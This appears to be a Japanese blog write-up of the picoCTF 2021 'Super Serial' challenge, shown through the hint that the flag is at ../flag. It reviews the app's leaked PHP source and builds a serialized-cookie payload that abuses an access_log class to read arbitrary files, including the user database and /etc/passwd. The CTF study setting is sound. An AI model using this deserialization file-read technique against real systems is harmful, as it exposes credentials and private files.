はまやんはまやんはまやん

hamayanhamayan's blog

Super Serial [picoCTF 2021]

調査

普通のログイン画面。
特に何もないな…
こういう時はrobots.txtだな。

User-agent: *
Disallow: /admin.phps

/admin.phpsへアクセスしてみると404。
そもそも何なんだろう。
PHPを利用するためのApacheの設定 | XAMPPの使い方
なんかOfficialなドキュメントを見つけられなかったが、ソースファイルっぽい。
/index.phpsとしてみると、ソースコードが得られた。

ソースコードを見てみよう

require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
    $con = new SQLite3("../users.db");
    $username = $_POST["user"];
    $password = $_POST["pass"];
    $perm_res = new permissions($username, $password);
    if ($perm_res->is_guest() || $perm_res->is_admin()) {
        setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
        header("Location: authentication.php");
        die();
    } else {
        $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
    }
}

んー、dbを直接見るのは難しそうだな…
is_guestか…

/authentication.phpを見てみると、Welcome guestと言われる。
phpsにしてみるとソースコードが得られる。

<?php

class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
    $msg = "Welcome admin";
    $log = new access_log("access.log");
    $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
    $msg = "Welcome guest";
}
?>

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center"><?php echo $msg; ?></h5>
                            <form action="index.php" method="get">
                                <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </body>
</html>

/access.logへアクセスしてみるが特に何もない。
んー、と思ったが、cookie.phpsも見ることができた。

<?php
session_start();

class permissions
{
    public $username;
    public $password;

    function __construct($u, $p) {
        $this->username = $u;
        $this->password = $p;
    }

    function __toString() {
        return $u.$p;
    }

    function is_guest() {
        $guest = false;

        $con = new SQLite3("../users.db");
        $username = $this->username;
        $password = $this->password;
        $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
        $stm->bindValue(1, $username, SQLITE3_TEXT);
        $stm->bindValue(2, $password, SQLITE3_TEXT);
        $res = $stm->execute();
        $rest = $res->fetchArray();
        if($rest["username"]) {
            if ($rest["admin"] != 1) {
                $guest = true;
            }
        }
        return $guest;
    }

        function is_admin() {
                $admin = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] == 1) {
                                $admin = true;
                        }
                }
                return $admin;
        }
}

if(isset($_COOKIE["login"])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    }
    catch(Error $e){
        die("Deserialization error. ".$perm);
    }
}

?>

PHP Deserializationか

Deserializationなのは分かるが、それでどうするかを考えてみる。
色々なクラスが用意されている。
ログインできても特に気になるものがないので、LFIかRCEかを探してみる。

取ってつけたようなaccess_logクラスにLFIできそうな所があり、ちょうどtoStringすることで内容が取り出せる。
toStringされそうな所を探してみると、

if(isset($_COOKIE["login"])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    }
    catch(Error $e){
        die("Deserialization error. ".$perm);
    }
}

ここだな。loginでaccess_logのやつ入れて、/authorization.phpで出してみる。

<?php
class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

$al = new access_log("../users.db");
echo urlencode(base64_encode(serialize($al)));

これでdbの中身が見られた。
気になるものはない。
/etc/passwdを見てみると、全部の問題が1つのサーバにまとまっているような雰囲気の内容になっている。
おお。

なんもないぞ…

Hintを見てみる

HINT1: The flag is at ../flag

ok.